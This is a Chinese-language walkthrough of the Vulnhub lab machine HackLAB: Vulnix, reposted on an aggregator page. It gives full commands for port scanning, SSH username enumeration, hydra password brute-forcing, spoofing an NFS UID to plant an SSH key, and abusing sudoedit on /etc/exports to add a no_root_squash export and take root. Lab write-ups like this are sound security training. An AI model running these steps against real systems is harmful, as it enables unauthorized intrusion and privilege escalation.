当前位置: 首页 > news >正文

Vulnhub靶机:HackLAB_Vulnix

一、介绍

运行环境:Virtualbox(攻击机)和VMware(靶机)

攻击机:kali(192.168.56.101)

靶机:HackLAB: Vulnix(192.168.56.110)

目标:获取靶机root权限和flag

靶机下载地址:https://www.vulnhub.com/entry/hacklab-vulnix,48/

二、信息收集

使用nmap主机发现靶机ip:192.168.56.110

在这里插入图片描述

使用nmap端口扫描发现靶机开放端口:22、25、79、、110、111、143、512-4、993、995、2049、37724、42131、48234、48665、50505

nmap -A 192.168.56.110 -p 1-65535

在这里插入图片描述
在这里插入图片描述

22端口:根据nmap的扫描结果发现openssh的版本为5.9 p1,该版本的openssh存在用户名枚举漏洞CVE-2018-15473

下载exp枚举用户名,发现一个user用户

在这里插入图片描述

三、漏洞利用

使用john对user用户ssh进行暴力破解,得到密码:letmein

hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.56.110 ssh -t 64

在这里插入图片描述

登录user用户的ssh,但什么也没有发现

在这里插入图片描述

根据nmap的扫描结果,靶机开放了2049端口,nfs服务

使用showmount输出挂载的文件夹

showmount -e 192.168.56.110

在这里插入图片描述

挂载/home/vulnix到/nfs文件夹,访问

mount -t nfs 192.168.56.110:/home/vulnix /nfs
cd /nfs

在这里插入图片描述

显示权限不够,应该是设置了root_squash

1、no_root_squash:登入 NFS 主机使用分享目录的使用者,如果是 root 的话,那么对于这个分享的目录来说,他就具有 root 的权限。

2、root_squash 是 NFS(Network File System)中的一个安全特性,用于限制远程客户端以 root 用户身份访问共享目录时的权限。当启用 root_squash 选项时,NFS 服务器会将客户端以 root 用户身份发起的请求映射为一个特定的用户(通常是 nobodynfsnobody),从而限制客户端以 root 用户身份对共享目录的完全控制。

我们可以伪造文件所有者的UID来欺骗NFS服务器。由于该文件的UID与新用户的UID相同,因此系统会误认为这是文件权限的所有者,这样我们就可以以一个合法的用户身份来读取文件的内容了。

查看vulnix用户的UID和GID

在这里插入图片描述

在攻击机建立一个和靶机UID和GID用户一致的vulnix用户,就可以访问挂载的目录了,

groupadd -g 2008 vulnix #创建一个组并指定组的GID
adduser vulnix -uid 2008 -gid 2008  #创建一个用户指定UID和GID

在这里插入图片描述

切换vulnix用户,再次访问成功

在这里插入图片描述

里面没什么有用的信息

在共享目录下创建.ssh目录mkdir .ssh

在攻击机使用ssh-keygen -t rsa命令生成ssh密钥,将生成的私钥保存到:/nfs/.ssh/id_rsa ,然后使用命令cat /nfs/.ssh/id_rsa.pub > /nfs/.ssh/authorized_keys将 SSH 公钥文件复制重命名为 authorized_keys ,用于 SSH 登陆认证

在这里插入图片描述

更改.ssh文件夹权限为700,将私钥复制到本地目录,并赋予600权限

在这里插入图片描述

使用id_rsa登录靶机,登录失败

ssh -i id_rsa vulnix@192.168.56.110

在这里插入图片描述

查看ssh配置文件:/etc/ssh/sshd_config,发现配置项AuthorizedKeysFile是注释状态,不知道是不是这个原因

在这里插入图片描述

后面查看了网上的wp,发现应该是openssh的版本的原因,使用下面的命令登录成功

ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i id_rsa vulnix@192.168.56.110

在这里插入图片描述

四、提权

使用命令sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行sudoedit /etc/exports

在这里插入图片描述

查看/etc/exports文件

在这里插入图片描述

我们可以编辑/etc/exports,在后面添加一条数据

sudoedit /etc/exports
添加:/root   *(rw,no_root_squash)
Ctrl x y  保存退出

在这里插入图片描述
在这里插入图片描述

重启靶机后,使用showmount查看靶机共享文件

在这里插入图片描述

挂载/root文件夹

mount -t nfs 192.168.56.110:/root /nfs2            

在这里插入图片描述

创建.ssh文件夹,将之前生成的公钥文件id_rsa.pub复制重命名为 authorized_keys,放到/root/.ssh文件夹里面,用于 SSH 登陆认证

在这里插入图片描述

更改.ssh文件夹的权限为700,更改.ssh/authorized_keys文件的权限为600

在这里插入图片描述

使用私钥登录ssh,得到root权限

ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i id_rsa root@192.168.56.110

在这里插入图片描述

获取flag

在这里插入图片描述

参考链接:https://blog.csdn.net/cjstang/article/details/131580330

http://www.lryc.cn/news/325035.html

相关文章:

  • 软件推荐 篇三十七:开源免费无广告的在线音乐免费播放 | MusicFree纯净无广告体验-小众冷门推荐
  • Hive SQL必刷练习题:留存率问题(*****)
  • 在Linux/Ubuntu/Debian中创建自己的命令快捷方式
  • vue学习笔记——Vue3循环生成表单时,对每一行新生成的数据添加表单验证的方法
  • 用C++做一个植物大战僵尸
  • 政安晨:【深度学习实践】【使用 TensorFlow 和 Keras 为结构化数据构建和训练神经网络】(三)—— 随机梯度下降
  • 普通用户无法连接到docker服务
  • Rancher(v2.6.3)——Rancher部署Nginx(单机版)
  • java问题解释
  • TSN协议原理!看完这一篇就够了(1)——时钟同步IEEE802.1AS-2020
  • Intel被喷惨的大小核CPU终于有救,12、13代也沾了光
  • JAVA入门第一步
  • 【scala】使用gradle和scala构建springboot程序
  • Linux sfdisk命令教程:硬盘分区表编辑器(附实例详解和注意事项)
  • Godot 学习笔记(5):彻底的项目工程化,解决GodotProjectDir is null+工程化范例
  • 算法打卡day23|回溯法篇03|Leetcode 39. 组合总和、40.组合总和II、131.分割回文串
  • Google研究者们提出了VLOGGER模型
  • Python从入门到精通秘籍十九
  • 解决:您还有0天的时间继续使用internet download manager
  • 操作系统目录
  • 常用的Node.js命令集锦
  • 2021年XX省赛职业院校技能大赛”高职组 计算机网络应用赛项 网络构建模块竞赛真题
  • 80386 ATT汇编语法
  • 如何在Linux系统使用宝塔面板搭建Inis博客并发布至公网【内网穿透】
  • 【漏洞复现】netgear路由器 boarddataww 存在RCE漏洞
  • 什么是原型链
  • 什么是虚拟线程?
  • node.js是什么怎么用常用方法
  • pikachu靶场第十四关——XSS(跨站脚本)之js输出(附代码审计)
  • AD实用设置教程